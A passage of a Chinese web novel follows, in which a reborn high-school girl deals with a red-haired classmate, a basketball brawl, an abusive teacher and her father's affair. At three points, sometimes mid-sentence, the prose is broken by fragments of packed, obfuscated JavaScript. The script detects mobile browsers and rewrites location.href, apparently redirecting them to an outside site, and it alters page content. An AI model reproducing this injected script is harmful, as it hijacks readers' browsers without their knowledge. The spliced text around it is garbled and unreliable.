她一边控制着平衡,一边扭头往后看, 一抹红发被风吹入眼帘。 居然是穆逢。 她自问和他还没熟到可以同乘一车的程度,她和姚摇倒是经常载着彼此。 “好学生,帮个忙,带我一程。” 秦遇一边奋力踩着脚蹬,一边拒绝,“我要回家,没空去别的地方。” “放心,顺路。” “你的摩托呢?” “喏,就在前面。” 穆逢抬手指向前方,再过一个路口,就是早晨出车祸的地方,远远地,就看见那辆半人高的摩托车孤零零地停在路边。 又骑了一会,秦遇觉得有些奇怪,那辆黑色的劳斯莱斯,不知道什么时候开到了她身侧,不紧不慢地跟着。 一辆车开到这么慢的速度,让人不起疑都难。 “穆逢?” “嗯?” “你有没有觉得,那辆劳斯莱斯好像在跟着我们。” “不用管它。” 穆逢的声音忽然变得冷峻。 “谢了。” 到了目的地,穆逢从后座跳下,径直走向摩托车,他一边走,一边抬起手在空中挥了挥。 就在这时,路灯骤然亮起,暖暖的黄色灯光打在他背上,不知为什么,却透出一股萧索寂寞。 那辆劳斯莱斯,也停在了路边。 到家后,秦遇看着镜子里的自己,发出一声尖叫。 可恶的穆逢,只让她擦手,居然不提醒她擦擦脸,她就这样挂着两道黑乎乎的油痕回了家,亏她在胡同里还跟好几个邻居打招呼,真过分! 4. 流血 下了晚自习回到家,时钟已经指向九点半。 妈妈煮了银耳莲子羹,放在饭桌上,还温着。 秦遇蹑手蹑脚拿出碗碟,一回头,看见睡眼惺忪的秦征站在身后。 秦遇拍拍胸脯,“吓死人了!这么晚了还不睡,小心长不高。” 说着拉开椅子坐下,给自己盛了一碗莲子羹吃起来。 秦征舔舔嘴唇,“我也想吃。” “行行行,你坐好,别乱动,妈妈今天身体不舒服,不要吵醒她。” 转身去厨房拿了一只碗,给秦征盛好,放到他面前,回到自己座位,发现碗边放着一只香包。 香包有半个巴掌大,用仿古的缎子制成,里面塞得鼓鼓囊囊,散发出淡淡的薰衣草味道。 “这是你放的?” 她疑惑地看向秦征,秦征嘴里塞满了吃的,一边嚼一边点头,等咽下嘴里的食物,才说“给你的,听说薰衣草能安眠,你昨晚大喊大叫的,把我都叫醒了。” 秦征的话让她想起昨晚的梦,梦中穆逢在暗巷中遇害的场景历历在目,叫她想起来仍忍不住心悸。 秦征把香包凑到鼻下闻,薰衣草的味道更重了,是廉价的人工香料,校门口的精品店里有类似款式,常引得一群女同学围着挑来选去。 念头一转,她看向秦征,“你怎么会想起买这种东西?” 秦征一边吃一边含糊地说,“同学送我的。” 秦遇笑了,“女同学?” 秦征满不在乎地说,“是啊,我同桌赵晶晶送的,我根本不喜欢这种东西。” 说完,一推碗,跳下椅子。 “我吃饱了,去睡了,对了,赵晶晶说把它放在枕头下,就能睡好,你今晚千万别再大喊大叫了。” 秦征说着,揉揉眼回了自己卧室。 秦遇拿起那只香包,在暖黄色夜灯下端详。 机织的飞鹤图案,边角有脱线,束口袋抽绳末端的金色装饰,有些许掉色。 不值钱的小东西,却承载着人最纯最真的感情。 小小直男还没开窍,女同学的好意,难免被浪费。 不过,她会好好利用。 她把香包郑重放到枕头下。 睡到半夜,口渴醒来,她去客厅倒水,经过爸妈的卧室时,看见门缝里漏出光来。 她以为妈妈醒了,正想敲门进去,听见里面响起交谈声。 原来,是爸爸出差回来了。 她贴在门边,竖起耳朵仔细听。 “……先是两万,又是三万,这次居然要五万,我们有多少钱能填这无底的窟窿……” 是妈妈的声音,少见的生气。 “总不能见死不救,志刚是大哥唯一的儿子,你也知道,大哥这两年生意不顺,咱们做长辈的,总不能眼睁睁看他进那种地方。” 爸爸的声音饱含无奈,随后长长叹了一口气。 “咱们的两个孩子,从没让你操过心,倒是成天为这个不成器的侄子奔走求人。” “月云,这是最后一次,我保证……” 爸爸叫妈妈的名字,试图安抚她,秦遇不想再听了,默默走到客厅,给自己倒了一杯水,返回卧室。 秦志刚是她的堂哥,大她6岁,照说早该考上大学了,可他一再留级,如今还在十三中读高三。 上一世,这位游手好闲的堂哥因为欠下巨额赌债,逃离家乡,四处躲藏,始终未婚。 可是在她小时候,堂哥也曾带着她和堂姐四处玩,捉了蚂蚱串起来给她们烤着吃,还慷慨地把自己的压岁钱拿出来,给她买了人生中第一支钢笔。 一只墨绿色暗尖钢笔,英雄牌的。 因为这些事,她对他始终存有一丝亲情滤镜。 秦遇睁大眼睛,盯着头顶的天花板发呆,不知道什么时候又沉沉睡去。 转眼一周又过去,秦遇对重来一遍的高中生活,越来越得心应手。 这天是周二,晚上七点,晚自习刚刚开始,因为班主任不在,教室里的气氛十分松散,有人在写作业,有人在看课外书,也有人在低头窃窃私语。 写完数学卷子,秦遇伸了伸懒腰,从书包里摸出随身听,把磁带翻个面,按下按键。 对她来说,边抄英语单词边听歌,算是学习中最轻松的任务。 姚摇照例在看她的漫画书,这次是NANA,看到好看的情节,她就会激动地跟秦遇分享。 “这张莲好酷啊,快看快看,小遇。” “哪里哪里,让我看看。” 秦遇好奇地凑过来,就在这时,教室前面的门猛地被推开,门板打在墙上,发出“哐当”一声巨响,一个男生激动地跑到讲台上,上气不接下气地喊“加时赛了,加时赛了,一球定输赢!” “咱们班和高三(五)班的篮球赛,最后冲刺了,快来加油啊!” 秦遇这才看清,这个男生是本班足球队的成员金国修,他个头虽小、速度却快,绰号“飞毛腿”。 金国修这一吆喝,全班都骚动起来了。 “快,跟我去看,给咱们班加油啊!” 说完他就跑了出去,班里大部分同学也都跟了出去,秦遇起身往窗外看,果然看见篮球场上站了乌泱泱一群人。 秦遇和姚摇对视一眼,放下手里的书冲出教室。 教室里瞬间空了一多半,班长蔡志文这才后知后觉地站起来,试图维持秩序。 “教室又不是市场,请各位同学维持安静!啊呸呸呸!” 不知是谁从讲台上顺了一只粉笔,准确地丢到了蔡志文大张的嘴里,害得他吐了半天,等他再抬起头来,教室里剩下的人一只手都数得过来。 秦遇知道,为什么班里会倾巢而出。 他们班自发组织的足球队,在过去的两周里,跟高一、高二多个班级举行了友谊赛,结果是,全部胜出。 此事引起了高三(五)班球队的注意,毕竟,这支球队是七中公认的王牌球队,因此,高三(五)班主动向高一(二)班发起了挑战,但挑战的项目不是二班最擅长的足球,而是篮球。 众所周知,高三生比高一生高出一大截,身高上的绝对优势,在篮球比赛中至关重要。 高三(五)班的主力球员,还曾在本城高中生篮球联赛中拿过名次。 所有人都以为五班稳赢,没想到的是,高一(二)班始终紧咬分数,直到把对方拖入加时赛。 以弱胜强的奇迹,谁都想看。 三分钟的加时赛,双方寸步不让,比分始终是0:0。 最后10秒,球传到了穆逢手里,此时,他还在三分线外,高三(五)班的队员已经迅速回防,在篮下筑起铜墙铁壁。 而他的队友还没赶过来。 想要靠一个人的力量,在10秒之内突破重重防线,连过数人,并把球投进,几乎是不可能的事情。 穆逢没有一丝犹豫,果断扬手,球飞离他的手,在空中划出一道完美弧线,向着篮筐飞去。 这一刻,原本喧嚣的围观者,全都安静下来,所有人都屏住呼吸,等待命运的裁决。 秦遇也紧张地握紧了双手。 就在这时,站在她身边的一个男生因为过于激动,扯掉了随身听上的耳机,歌声哗哗流淌出来。 “…… Idon''tcarewhoyouare, whereyouarefrom, whatyoudid, aslongasyouloveme ……” 是后街男孩的《AsLongAsYouLoveMe》。 在全场安静的氛围中,歌声无限放大。 男生手忙脚乱地按暂停、找耳机,引起周围一小片骚动。 秦遇踮起脚尖,前面的人一移动,挡住了她的视线,她看不见球了。 就在这时,也不知是谁喊了一声,“进了!” “进了!” “进了!” 声音像涟漪一样在人群中扩散,全场爆发出雷鸣般的掌声,高一(二)班的同学激动地又跳又叫,秦遇和姚摇握紧彼此的手。 穿过挤挤挨挨的人群,她看见穆逢那高举的手臂,在空中用力一握,接着,他的队友跑向他。 比完了,结束了,高一新生打败了高三的王牌球队,不出意外,这场以少胜多的赛事会在校园里流传很久。 秦遇看见高三(五)班的队长,一个长得像大猩猩似的男生走近穆逢,接着,前面人头晃动,她又看不见了。 “走吧,摇摇。” 她拉起姚摇的手,正想转身离开,前方传来数声尖叫,接着,周围的学生骚动起来。 “打起来了!” 她听见有人这样说。 “高三的说裁判不公平,说我们班的人打手……” “我们才没犯规!” 欢快的氛围一扫而空,球场上的两方队员扭打在一起,她站得远,加上校园里的路灯昏暗,根本分不清谁是谁。 气氛愈演愈烈,就连来观战的双方班级之间也彼此敌对,从怒目而视到唇枪舌战,为各自的球队发声。 剑拔弩张之际,有人高喊一声“宋土豆来了,快跑!” 秦遇转头向校门口看去,果然看见一个矮胖的人蹬着自行车进来。 离远了看,确实像一颗圆滚滚的土豆。 围观的同学哄一下作鸟兽散。 秦遇抓起姚摇的手拼命往教学楼跑,她们的教室在二楼,一群人的脚步声在楼梯上同时响起,混乱又响亮,惹得其他班的同学频频探头。 回到座位上,秦遇的心跳得像要炸开一样。 透过窗户,她看到宋有才正在球场上训斥两班的球员。 姚摇从桌洞里抽出一本漫画,“等着吧,待会老宋肯定要大发雷霆。” 像是为了印证姚摇的话,不一会儿,宋有才果然黑着一张脸走进教室。 他把手背在身后,表情严肃的在班里转了一圈,然后到讲台上站定。 “晚自习时间跑出去看球,反了你们了!你们眼里到底还有没有课堂纪律?” “不要以为法不责众,我就会放过你们!我告诉你们,凡是刚才不好好上课,跑出去看球赛的,全部给我把语文书上的古文抄一遍,抄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896949|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不完不准下课!” 全班同学都露出吃了苍蝇的表情,只有一个人不同,喜滋滋地高举右手。 宋有才叫出他的职务,“班长,你说。” 蔡志文的一张白脸因为激动涨得通红,他一边起身,一边飞速翻着手里的笔记本,“报告老师,我已经把刚才旷课的所有同学的名字都记下来了,根据统计,班里包括我在内,只有五个人留在教室。” 说到这里,他骄傲地挺直了背。 周围同学向他投去鄙夷的目光。 “做得好,班长就该做全班的表率,我很欣慰,至少我们班还有你这样的好学生。” 蔡志文笑得越发开怀,上台把名单交到宋有才手里,从讲台上下来时,下巴高抬,仿佛一只骄傲的孔雀。 “卑鄙小人,只知道做老师的走狗。” 姚摇低声咒骂,可是宋有才的骂声更响,穿透墙壁,从走廊传过来。 “上课时间打球赛,啊?” “比到最后居然打起群架……” “各个写检查,记大过!” “叫你们家长来学校!” “你们这样不学无术,将来就只能去工厂拧螺丝,去街上做小混混,出去别说是我的学生……” 宋有才的谩骂一声高过一声,夹杂着噼里啪啦的打声,秦遇听着都觉得疼。 宋有才确实在打人,把本班足球队里的八位成员,从头到尾挨个打了一遍。 前六个人都老老实实受着,到了第七个,却碰上了硬茬。 宋有才高高抬起的手还没落到穆逢身上,就被他抬手制住。 “你敢对老师动手?”宋有才气得几乎跳起来,眼前这个十五岁的学生比他高一头还多,他只能仰着头看他。 意识到这一点让他的怒火又添三分。 “是老师先对我动手的,宋老师,打学生是犯法的,这点你该不会不知道吧?” 穆逢视线下移,斜睨了他一眼,一双冷淡疏离的眼睛里,明显带着不屑。 十五岁的少年,个头已经窜到了1.8米,气质冷冽,野性难驯。 宋有才卯足了全身的力气,使劲往下压右手,眼前的少年只用一只手就轻松制住他,让他无法前进分毫。 “老师,是高三(五)班先动手的,我们只是自卫啊!” 站在最后的大黑一开口,给宋有才解了围,宋有才一边咳嗽,一边收回手,走到大黑面前训斥道,“就算这样也不能动手,你们应该找老师,找教导主任!” 大黑比穆逢还高,更壮士,可是不知道为什么,站在他面前,宋有才觉得更有底气。 穆逢不再说话,把头转向一侧,凝视窗外的夜色。 快10点的时候,秦遇总算收齐全班抄好的课文,抱着一摞作业本送到三楼的办公室,到了那里才发现,办公室的门锁着,宋有才早就回家了。 秦遇无奈地摇摇头,又把那堆作业抱回了教室。 姚摇还在座位上等她,两人一起关灯出了教室。 从校门口出来,她们一个往东,一个往西,挥手道别。 秦遇一手骑车,一手放到嘴边吹了吹。 天冷了,晚上不戴手套骑车,十指冰凉。 就在这时,余光瞥见身后有黑影一闪,接着,车子一沉,有人坐上了她的后座。 秦遇已经猜到了是谁。 “你怎么又坐我的车子?” “因为你爱管闲事,就多帮我一次吧。” 她一边努力蹬车子,一边问,“你的摩托呢?” “轮胎被人扎了。” 穆逢的声音淡淡的,听不出情绪。 秦遇想了想,明白过来,“高三那些人干得?” “也许吧。” 夜风从身后吹过来,带来一股凉意,淡淡烟草味,还有一丝不易察觉的血腥味。 秦遇抬起鼻子努力嗅了嗅,确认这血腥气就来自身后的人。 “下车!” 她停下车子,转身看跳下来的穆逢。 “你流血了?” 穆逢已经跳下车子,听到她的话,他摇了摇头。 少年在路灯下抬起头,昏黄的灯光打在他身上,在路上投下一道长长的影子。 路灯给他的五官镀上了一层柔光,让他的神情看起来不像平时那么冷淡,难以接近,反而透出几许柔和。 借着路灯,她看清他嘴角有一点血迹,脸上有两处擦伤,接着,她的视线向下移,在看到他的手时,轻轻“啊”了一声。 他的左手手背正在流血,伤口虽然不深,却是一片鲜血淋漓,看着叫人心惊。 穆逢立刻把左手揣进兜里。 秦遇紧张地说,“得赶快去包扎。” 穆逢抬抬下巴,示意她往右边看,那里正好有一家诊所,门口的灯牌在夜色中一闪一闪的。 “就送到这里吧,谢谢你,好学生。” 穆逢说着,抬腿向马路右边走去,走到路中间时,抬起那只没受伤的手在空中挥了挥。 红发少年的身影在夜色中越走越远,秦遇盯着那清瘦的背景,不知道为什么,竟读出几分孤独。 5. 借伞 大课间,秦遇再次清点了一遍作业,确认除了球队里的八个人,其他人都交了,就抱起作业走向办公室。 走到楼梯拐弯处,她和一个迎面走来的人撞在一起,怀里的作业本散落一地。 秦遇条件反射地说声“对不起”,弯腰去捡作业本,就在这时,一只缠着绷带的手伸到她眼前,和她一起捡。 她疑惑地抬头,对上穆逢那张精致又冷淡的脸。 阳光透过淡蓝色玻璃照进来,打在他脸上,更显光彩照人,眼眸深邃,鼻梁挺直,皮肤晒成淡巧克力色。 他穿白色工装休闲裤和一件枣红色宽大卫衣,一头红发微微凌乱,耳边一只银色耳钉闪闪发光。 女娲捏人的时候,一定是有所偏爱的。 同样是一副皮囊,有人美得过目难忘,有人瞧一眼都觉得抱歉。 在他身上,矜贵和难驯两种截然相反的气质同时存在,令人费解。 秦遇垂下眼,加快手上的动作。 “拿着。” 穆逢手脚麻利地捡起大半作业本,整理好后送到她手里。 “谢谢。” 秦遇抱起那堆作业就要走,被他叫住。 “等一下,我有事要问你。” 穆逢说着,向前走了一步靠近她,不知道为什么,这个动作让她下意识有点紧张,她把怀里的作业本抱紧了,仿佛这样就有了一道护盾。 ?“什么事?” 穆逢用他那双浅棕色的瞳仁盯住她,慢慢说道,“其实,我一直都想问你,你为什么每次都那样看我?” 秦遇不解,“哪样?” “好像看一条丧家之犬,”他一字一句说,一瞬不瞬地看着她,仿佛不愿错过她任何细微的表情变化,“又像看一个将死之人。” 秦遇的心猛地一跳,立刻扯出一个大大的笑容。 “哪有,你想多了,我怎么会这么看你呢,我得走了,老宋还等着我交作业呢。” 秦遇说着,往后退了两步,转身蹬蹬蹬跑上三楼。 堪称落荒而逃。 并不知道,在她身后,穆逢盯着她的背影,站了很久。 推开办公室的门,就看见宋有才正唾沫横飞的和隔壁班老师说话。 “……我叫他们喊家长来学校,你猜怎么着?那小子居然说他无父无母!这样大逆不道,诅咒自己爹妈的孩子,我也是头一回见!” “要我说他父母问题也不小,以为有几个臭钱,就能不管孩子了,这样发展下去,将来迟早成社会上的败类、渣滓……” 秦遇听出来了,这八成是在说穆逢。 宋有才看见她进来,伸出一根粗短的手指点了点桌面,“放这里。” 接着,又侧过身去和隔壁班老师说话。 那位梳着齐耳短发、留着厚刘海的女老师,推了推脸上的眼镜,“可是听说,他还救过路上的老人。” 宋有才从鼻孔里喷出一声“哼”。 “谁知道是不是他撞的,那老人神志不清,也说不清楚。” 听了这句话,秦遇气地几乎僵住,宋有才居然这样说自己的学生,这跟后来社会上流行的“碰瓷”不是一个逻辑吗? 你撞了她,所以你才会救她,否则,为什么别人不救,单单你去救? 秦遇瞬间觉得穆逢十分可怜。 “宋老师,话不能这么说,成绩不好也不代表人品不好。” 女老师弱弱地提出抗议,秦遇欣慰地舒了一口气,至少还有三观正常的老师。 “古老师,你年轻、经验少,我可是教了二十年书,我告诉你,这种学生,一看将来就不成器……” 说来说去,还是那些陈词滥调,中心思想就是,穆逢将来必成败类。 秦遇垂下眼,把那摞作业放到桌上。 离她左手一寸远的地方,放着宋有才的双层玻璃杯,里面泡着满满一杯浓茶,些微热气升到空气里。 秦遇垂下眼,收回手的时候,不经意地往前拐了一下,杯子被带倒,茶水汩汩流出,正好洒在宋有才身上。 宋有才猛地站起身,伸手拂去大腿上的水,可以已经晚了,棉布的裤料戏水性极强,瞬间湿了一大片,看起来就像尿了裤子。 “对不起,宋老师,对不起,我不是有意的!” 秦遇露出一副快要哭出来的样子,惊慌失措地道歉,又掏出纸巾,做出要给他擦拭的样子。 宋有才尴尬地摆摆手,“没事,你先出去吧。” “对不起老师,我以后一定小心!” 秦遇鞠躬道歉,一脸不安地退出办公室,走到门外,脸上的不安迅速褪去,嘴角轻轻上扬。 这小小的报复,让她心中暗爽。 冷不丁,身后传来一道声音。 “喂。” 她吓了一跳,一回头,看见一抹扎眼的红。 穆逢正靠在墙上,单手插兜,微微侧头看向她,一双眼睛清冷又透亮。 “你在这里干什么?” 穆逢走过来,修长指间捏着一本作业本。 “你漏了这个。” 他用那只缠满绷带的手递过来A4本,她注意到,他的指甲修剪地圆润干净,没有一点脏污。 还好,白色绷带也干干净净,没有渗血。 她接过作业本,道了声谢,转身送进了办公室。 出来时,穆逢还没走。 秦遇诧异地看了他一眼,没说话,径自走开。 穆逢长腿一跨,两步就跟上她,跟她并排走。 “你第一次出来的时候,那个得意的笑,是怎么回事?” 穆逢侧头看着她,抬起一根手指,指了指自己的嘴角。 果然,她为小小惩罚了一下宋有才而暗爽的表情,被他看到了。 于是她作出一副无辜的样子,“什么笑啊,我根本没笑,你看错了。” 否认地斩钉截铁,眼睛却根本不敢看他。 说完,就一溜烟似地跑了下去。 回到教室的时候,看见走廊里站着好几个陌生的女学生,都不是他们班的。 女生们三三两两地聚在一起,勾肩搭背,咯咯笑个不停。 教室后门口,人尤其多。 “发生什么事了?怎么其他班的都跑这里来了?” 秦遇一回到座位,就问姚摇。 姚摇是美术生,上午跟她们一起上文化课,下午去上画室上专业课,事实上,为了提升本校艺术生的文化课成绩,七中今年首次推行了新的方法,让所有艺术生打散编入各个普通班。 所以,姚摇的专业同学遍布各个班,消息最为灵通。 听到秦遇的话,姚摇从漫画书里抬起头来,右手大拇指往后指了指。 “还不是因为他。” 秦遇顺着手指的方向看去,正好和穆逢的视线撞在一起。 真奇怪,隔这么远,他应该听不见她们说话,怎么会正好看过来? 秦遇移开视线,只当没看见。 “你是不知道啊,自从上次球赛,穆逢可成了我们七中的名人了!” “好多女生都喜欢他,说他人长得帅,打球又棒,在球场上威风得很!对了,上次比赛九班还有个女生拍了照,把他的照片打印出来,当成宝贝似地只分享给好朋友。” 秦遇惊愕地张大嘴,“偷拍……好像是犯法的吧?” 姚摇耸耸肩,一脸无所谓,“谁知道呢,反正他也没什么损失。” 正说着,教室外面传来一阵银铃般的笑声。 “这些女生,都是来花痴穆逢的,就连我的专业课同学都来向我打听他有没有女朋友,还有人叫我帮忙递情书。真是的,我跟他压根没说过话……” 姚摇打了个哈欠,趴到课桌上眯起眼睛。 放学后,轮到秦遇值日。 她负责打扫靠窗的一排,拿起扫帚从后向前干起来。 低头跟桌角缝隙里的碎纸片作了半天斗争,一抬头,穆逢正坐在前面的桌子上。 “值日罢了,至于这么认真吗?” “什么意思?” 穆逢嗤笑一声,“你回头看看,还有人吗?” 她环顾四周,发现同组的人都走了,仅剩的一个正背着书包飞奔出教室。 “大家都是随便扫扫,应付过去得了,只有你一个人,吭哧吭哧地扫这么仔细。” 他说的是实情。 想起上一世,也曾有同事说过,“有些事差不多就得了,没必要那么较真。” 心头一阵发堵,她没好气道,“我就愿意扫这么仔细,反正跟你没关系。” “让开,别挡路。” 穆逢从桌上一跃而下,动作轻盈流畅。 她不再理他,只当他不存在,继续按照自己的方式打扫,直到扫到最前排,一起身,发现他还在。 他正坐在教室中间,跟她的座位只差一条过道。 秦遇只当没看见,开始擦黑板。 下午的最后一节课是政治,这位老师酷爱板书,黑板上被他写得密密麻麻全是字,负责擦黑板的同学不知是忘了还是故意的,总之早就跑得没影了。 秦遇一边叹气,一边擦黑板。 今天是周五,没有晚自习,教室里只剩她跟穆逢,两个人不说话,教室里无比安静,只有擦黑板的刷刷声。 好容易擦完了下半部分,她踮起脚尖去擦上面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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秦遇为难地看了看自己的书包,又去姚摇桌洞里摸了摸,没有伞。 “没办法,我只有一把伞,要不,你等雨停了再走吧。” “嗯,你先走吧。” 穆逢的声音在空旷的教室最后排响起,被急躁的雨点盖过。 他又恢复了那个姿势,双手枕在脑后,闲闲靠在墙上,双腿直直地架在桌上。 眼睛看向窗外,表情沉静。 明明是肆意张扬的姿势,偏偏又透出几分萧索寂寞。 就在这时,走廊里响起皮鞋怕打地面的声音,接着,一个中等身材的男人出现在教室后门。 “小遇。” 熟悉的声音响起。 “爸爸。” 秦遇惊喜地跑过去。 “爸爸,你怎么来了?” “中午就回来了,天气预报说这会要下雨,我怕你没带伞,就给你送过来,顺便接你回家。” 秦爸爸说着,把手里一柄20骨墨绿色大伞递给她,秦遇接过伞,兴冲冲挽起爸爸的手臂往外走。 走了几步又停住。 “爸爸,你等我一下。” 说着扭头跑回了教室。 “穆逢,你撑这把伞回去吧,我看这雨一时半会停不了。” 她把那柄墨绿色的大伞,放到他桌上。 她有爸爸来接,而穆逢,好像总是孤单单的一个人。 穆逢抬眼看她,“这么好心?” 秦遇轻哼一声,“就当是你帮我擦黑板的回报。” 穆逢的眉毛高高挑起,原来,她知道他是特意留下来帮她的。 “再见,早点回去吧。” 秦遇冲他摆摆手,跑开。 远远的,秦遇就看见爸爸的黑色雪弗兰停在校门口,她挽着爸爸的手臂,加快脚步,快到车前时,车窗玻璃缓缓摇下,露出一张女人的脸。 尖下巴,皮肤白皙,面容姣好,年龄在三十上下。 女人看见她,笑得灿烂,热络地说,“小遇快上车,当心淋湿了。” 秦遇的心像是突然坠入冷水里。 她机械地拉开车门,后座上一个长相白净的小男生,客客气气地喊她,“小遇姐姐,你好。” 男生穿着小学的校服,面孔和前排的女人有五分相似。 “你好。” 秦遇木然地回了一声,“砰”一下关上车门。 前排传来爸爸和女人热切的交谈声,车窗上倒映出她阴沉的侧脸。 原来不是在高二,原来高一的时候,爸爸就和这个姓陈的女人搞在一起。 只是上一世她不知道,这一世,机缘巧合,她提前知道了。 下雨天赶着接女儿,却也不忘接出轨对象的儿子,真是深沉又可靠的父爱。 秦遇嘴角微动,扯出一个讥讽的笑。 看来,她的第二个任务,要提前启动了。 6. 情书 第二天上午课间,穆逢把她的伞还过来,一起送来的还有一本周记本。 秦遇盯着上面龙飞凤舞的“穆逢”两个字,诧异地看向他。 不得不承认,他写得一手好字,张扬肆意,又极有章法,就像他这个人一样。 见她只是疑惑地盯着自己,不伸手接作业,穆逢轻咳一声,做出一副无所谓的样子。 “怎么?课代表现在不负责收作业?” 秦遇这才反应过来,闪电般伸手接过那本周记。 “收,收,当然收。” 她有点奇怪,穆逢怎么突然改了主意,明明就在不久前,他还一脸不耐烦地对她说“作业不交,以后都不交。” 大概是意识到她的疑惑,穆逢踌躇了一下,生硬地说“就当你借伞给我的回礼。” “我不喜欢欠人情。” 他说话的时候并不看她,视线盯着面前的空气,说完没走,像是在等她的回答。 就在这时,教室后排响起戏谑的口哨声,秦遇望过去,见大黑几个男生正挤眉弄眼地看向这边,兴致勃勃,一脸八卦。 中学时代的男生是这样的,看见哪个女同学和男同学多说几句话,又或者是一男一女同路回家,就要跟着起哄。 她假装没看见,收回视线,对穆逢点点头,继续埋首在作业中。 她要利用好课间的时间,争分夺秒地写完作业,因为放学后,她还有别的事要忙。 后排的口哨声还在继续,穆逢双手插兜,面无表情地走过去。走到大黑身边,抬手在他头顶不轻不重地拍了一下,“皮痒啊?” 声音不大,却足够有威慑力。 大黑立刻噤声,揉了揉自己的脑袋,然后忽然反应过来,跳起来把其他吹口哨的男生训斥一遍。 “打住,打住,瞎起什么哄!教室里不准乱吹口哨!” 穆逢照例长腿一伸,架到桌上,两手交替接抛篮球,闲闲看向窗外。 “从今天开始,你们几个,周记都得写。” 一句话,后排几个男生全都鬼哭狼嚎起来。 “不是吧,老大,我最怕写周记,一写这玩意儿我就头疼恶心。” “就是啊,我连‘的地得’都分不清,每次都被宋土豆骂。” “别说800字了,我连80字都写不出来……” 穆逢收回视线,扫视一周,这些声音立刻小了下去。 他盯着手里的篮球,手上微微用力,篮球就在指端匀速旋转起来。 “不写也行,以后的球赛就不用参加了。” 一句话说完,篮球还在转。 “写,怎么不写,现在就开始写,祖国的未来可是扛在我们肩上呢!” 不知是谁吼了这么一句,几个平时连笔都懒得带的跳脱男生,愣是借来笔和《中学生作文大全》,一板一眼地抄起了作文。 不会写,总会抄。 多年以后,这些少年中有一个去省城某top级报社做了体育记者,并以精彩的文笔和犀利的点评成为业内标杆。 他在回忆如何踏上记者之路时坦陈,“一切始于高一某天,被球队老大逼着抄作文的一个上午……” 当然,这都是后话。 “小遇,你两天神神秘秘的,在忙什么?” “没,没什么啊。” 听到姚摇这样问,秦遇手忙脚乱地收起自己的“击退小三”checklist。 姚摇露出怀疑的神色,“真的没事?” “真的,真的,只是,唉,秦征最近成绩下降很多,我妈让我研究下小学课本,给他补课。” 秦遇胡乱扯了一个谎,虽然姚摇是她的好朋友,可她还是不想对好朋友说,因为我爸出轨,所以我正在执行吓退小三的行动计划。 父辈的出轨,终究是一件难以启齿的事。 “那就好,我看你最近也不怎么说话,还以为你遇上什么事了。” 姚摇说着,露出一个欲言又止的表情。 秦遇催促她,“想说什么就说,不要吞吞吐吐啦。” 姚摇咬咬牙,凑到她身边,耳语道“悄悄问一下,你,不会也喜欢穆逢吧?” “我?喜欢他?” 秦遇张大嘴,连连摆手,“怎么可能!我对比我小的没兴趣!” 姚摇皱眉,竖起一根手指放在嘴边,“嘘,小点声!” 秦遇会意,压低声音重复一遍,“你瞎想什么呢?我对他,完~全~没兴趣!” 姚摇明显松了一口气。 “那就好。可是,你怎么知道他比你小呢?你在咱们班都算年龄小的,你知道他几岁?” 秦遇心理上还把自己当做二十多岁的成年人,一时口误,只能含糊道“不,不知道。我的意思是,我喜欢比我年长的,大好几岁那种,不喜欢同龄的毛头小子。” “既然你不喜欢他,那我就放心了。” 姚摇说着,低头从书包里翻出一件东西。 “帮我一个忙,把这个,送给穆逢。” 秦遇低头,一只粉色信封送到眼前。 信封上写着收,却没写寄信人和地址,穆逢两个字周围,还画了一圈心型图案,每一颗都细心地涂上不同颜色。 原来是情书。 秦遇盯着这封信,一时感慨万千。千禧年间,男女同学之间还习惯用写情书的方式来表达好感,谁能想到,十多年后,情书几乎在生活中绝迹。 通讯手段日新月异,动动手指,信息秒达,再没了托人送信、等待回信的漫长忐忑,那份酸涩纠结的心境也不再来。 秦遇不解,“为什么要我送?” “因为他对你……嗯,”姚摇斟酌了一下,选了一个自认为比较中肯的说法,“比较客气。” “什么意思?” 姚摇揽着她的肩膀,两人趴到桌上耳语。 “你看啊,他天天冷着一张脸,对老师和同学都没好脸色,作业从来不做,可是自从上次交了周记本,他的语文作业就一次也没落下过,你说是不是?” 秦遇认真回想了一下,好像还真是,不止穆逢,就连后排其他男生,最近也都开始准时交作业。 冷不丁的,坐在前排的朱志回头插嘴道,“我可以作证,我去收他的语文作业,他从来不交。果然,你那次帮他说话,还是有用的。” “去去去,我们女生说悄悄话,你别掺和!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896951|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >姚摇不耐烦地挥手,驱赶朱志,朱志撇撇嘴,不甘心地转回身,却依然竖起一双耳朵,试图听清两人的谈话。? “所以啊,这个忙只有你能帮。” “这……该不会是你写的吧?不对,这字看着也不像你的笔迹。”秦遇把信拿在手里,翻来覆去地看上面的字。 “呸呸呸,当然不是我写的,我心里只有我们家俊哥哥。” 俊哥哥是姚摇青梅竹马的邻居,姜凌俊,特别优秀的“别人家的孩子”,大她三岁,三年前以本校理科第一的成绩考入了国内顶尖高校,姚摇无数次跟她说过,自己也要以美术生的身份考上那所大学。 最不济,也要考到同一个城市。 “其实这是我专业课的同学拜托我的,上次我忘记作业,她拿自己以前的练笔帮我挡了,这次就当是我回报她了。” “拜托了,小遇,你可是我最好的朋友了。” 姚摇说着,双手合十放在胸前,一双水汪汪的大眼睛可怜巴巴地看着她。 